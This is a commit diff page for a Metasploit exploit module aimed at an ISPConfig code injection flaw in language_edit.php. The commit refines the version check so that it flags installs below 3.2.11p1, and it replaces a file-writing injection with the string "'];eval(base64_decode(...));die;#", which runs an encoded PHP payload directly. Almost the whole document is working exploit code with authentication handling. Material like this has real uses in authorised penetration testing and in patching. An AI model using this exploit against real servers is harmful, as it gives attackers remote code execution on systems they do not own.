Skip to content

Commit ff15b58

Browse files
committed
resolved: issues
1 parent e77abd9 commit ff15b58

File tree

1 file changed

+24
-20
lines changed

1 file changed

+24
-20
lines changed

modules/exploits/linux/http/ispconfig_lang_edit_php_code_injection.rb

Lines changed: 24 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -70,21 +70,21 @@ def initialize(info = {})
7070
OptString.new('USERNAME', [true, 'ISPConfig administrator username']),
7171
OptString.new('PASSWORD', [true, 'ISPConfig administrator password'])
7272
])
73+
74+
@authenticated = false
7375
end
7476

7577
def check
7678
print_status('Checking if the target is ISPConfig...')
77-
res = send_request_cgi({
78-
'method' => 'GET',
79-
'uri' => normalize_uri(target_uri.path, 'login')
80-
})
81-
return CheckCode::Unknown unless res
82-
79+
8380
# Try to log in and parse version if credentials are provided
8481
if datastore['USERNAME'] && datastore['PASSWORD']
85-
login_res = send_request_cgi({
82+
# Clear any existing cookies before login
83+
cookie_jar.clear
84+
85+
login_res = send_request_cgi!({
8686
'method' => 'POST',
87-
'uri' => normalize_uri(target_uri.path, 'login'),
87+
'uri' => normalize_uri(target_uri.path, 'login/'),
8888
'vars_post' => {
8989
'username' => datastore['USERNAME'],
9090
'password' => datastore['PASSWORD'],
@@ -96,26 +96,27 @@ def check
9696
# Try to access the dashboard or settings page
9797
settings_res = send_request_cgi({
9898
'method' => 'GET',
99-
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
99+
'uri' => normalize_uri(target_uri.path, 'help', 'version.php'),
100100
'keep_cookies' => true
101101
})
102102
if settings_res
103103
doc = settings_res.get_html_document
104104
# Try to find version in a span, div, or similar element
105-
version_text = doc.text[/ISPConfig\s*v?(\d+\.\d+(?:\.\d+)?(?:p\d+)?)/i, 1]
106-
if version_text
107-
print_good("ISPConfig version detected: #{version_text}")
108-
return CheckCode::Appears("Version: #{version_text}")
105+
version_element = doc.at('//p[@class="frmTextHead"]')
106+
if version_element
107+
version_text = version_element.text
108+
version = version_text.split(":")[1].gsub(" ","")
109+
version = Rex::Version.new(version)
110+
if version < Rex::Version.new('3.2.11p1')
111+
print_good("ISPConfig version detected: #{version_text}")
112+
@authenticated = true
113+
return CheckCode::Vulnerable("Version: #{version_text}")
114+
end
109115
end
110116
end
111117
end
112118
end
113119

114-
# Fallback to the previous check
115-
if res.body.include?('ISPConfig') && (res.body.include?('login') || res.body.include?('username') || res.body.include?('password'))
116-
print_good('ISPConfig installation detected')
117-
return CheckCode::Detected
118-
end
119120
CheckCode::Safe
120121
end
121122

@@ -226,7 +227,7 @@ def inject_payload
226227
print_status('Injecting PHP payload...')
227228
@payload_file = "#{Rex::Text.rand_text_alpha_lower(8)}.php"
228229
b64_payload = Base64.strict_encode64(payload.encoded)
229-
injection = "'];file_put_contents('#{@payload_file}',base64_decode('#{b64_payload}'));die;#"
230+
injection = "'];eval(base64_decode('#{b64_payload}'));die;#"
230231
lang_file = Rex::Text.rand_text_alpha_lower(10) + ".lng"
231232
edit_url = normalize_uri(target_uri.path, 'admin', 'language_edit.php')
232233
initial_data = {
@@ -325,7 +326,10 @@ def cleanup
325326
end
326327

327328
def exploit
328-
authenticate
329+
unless @authenticated
330+
authenticate
331+
@authenticated = true
332+
end
329333

330334
# Check if language editor permissions are enabled
331335
unless check_langedit_permission

0 commit comments

Comments
 (0)